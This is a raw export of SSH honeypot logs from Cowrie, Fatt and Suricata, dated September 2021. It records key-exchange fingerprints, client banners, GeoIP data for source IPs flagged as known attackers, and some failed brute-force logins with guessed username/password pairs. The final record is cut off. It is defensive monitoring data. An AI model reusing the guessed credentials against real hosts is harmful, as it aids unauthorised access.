"proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 664562101509722, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36676, "dest_port": 22, "timestamp": "2021-09-20T11:09:49.943152Z", "@timestamp": "2021-09-20T11:09:49.943Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25280	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:49.283227+03	2021-09-20 14:15:09.914505+03	{"_id": "vwblAnwBvYTbRNuE2RnX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57068, "timestamp": "2021-09-20T11:09:49.283227", "@timestamp": "2021-09-20T11:09:49.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25281	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:09:49.631097+03	2021-09-20 14:15:09.915504+03	{"_id": "wAblAnwBvYTbRNuE2RnX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60376, "dest_port": 22, "timestamp": "2021-09-20T11:09:49.631097", "@timestamp": "2021-09-20T11:09:49.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25282	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:49.666842+03	2021-09-20 14:15:09.9165+03	{"_id": "xAblAnwBvYTbRNuE2RnX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36676, "timestamp": "2021-09-20T11:09:49.666842", "@timestamp": "2021-09-20T11:09:49.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25283	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:50.191671+03	2021-09-20 14:15:09.918501+03	{"_id": "xQblAnwBvYTbRNuE2RnX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54286, "timestamp": "2021-09-20T11:09:50.191671", "@timestamp": "2021-09-20T11:09:50.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25284	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:49.631875+03	2021-09-20 14:15:09.919506+03	{"_id": "2AblAnwBvYTbRNuE2hlu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bfb60212f333", "@version": "1", "timestamp": "2021-09-20T11:09:49.631875Z", "@timestamp": "2021-09-20T11:09:49.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25285	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:49.664792+03	2021-09-20 14:15:09.921501+03	{"_id": "2QblAnwBvYTbRNuE2hlu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c1c7ec8ff97e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:49.664792Z", "@timestamp": "2021-09-20T11:09:49.664Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25298	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:51.607461+03	2021-09-20 14:15:09.9375+03	{"_id": "DwblAnwBvYTbRNuE4hpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [kim/kim123] failed", "session": "18292ae7252b", "@version": "1", "password": "kim123", "username": "kim", "timestamp": "2021-09-20T11:09:51.607461Z", "@timestamp": "2021-09-20T11:09:51.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25286	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:49.94394+03	2021-09-20 14:15:09.922508+03	{"_id": "2gblAnwBvYTbRNuE2hlu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c1c7ec8ff97e", "@version": "1", "timestamp": "2021-09-20T11:09:49.943940Z", "@timestamp": "2021-09-20T11:09:49.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25287	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:50.191078+03	2021-09-20 14:15:09.923505+03	{"_id": "2wblAnwBvYTbRNuE2hlu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "23387219f17e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:50.191078Z", "@timestamp": "2021-09-20T11:09:50.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25288	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:50.331398+03	2021-09-20 14:15:09.924511+03	{"_id": "3AblAnwBvYTbRNuE2hlu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "e72f1f065bb0", "@version": "1", "duration": 3.436195135116577, "timestamp": "2021-09-20T11:09:50.331398Z", "@timestamp": "2021-09-20T11:09:50.331Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25289	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:50.427722+03	2021-09-20 14:15:09.9265+03	{"_id": "3QblAnwBvYTbRNuE2hlu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [cat/cat] failed", "session": "8b0d7e774921", "@version": "1", "password": "cat", "username": "cat", "timestamp": "2021-09-20T11:09:50.427722Z", "@timestamp": "2021-09-20T11:09:50.427Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25290	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:50.734212+03	2021-09-20 14:15:09.9275+03	{"_id": "3gblAnwBvYTbRNuE3Bmt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1961633635021178, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44672, "dest_port": 22, "timestamp": "2021-09-20T11:09:50.734212Z", "@timestamp": "2021-09-20T11:09:50.734Z", 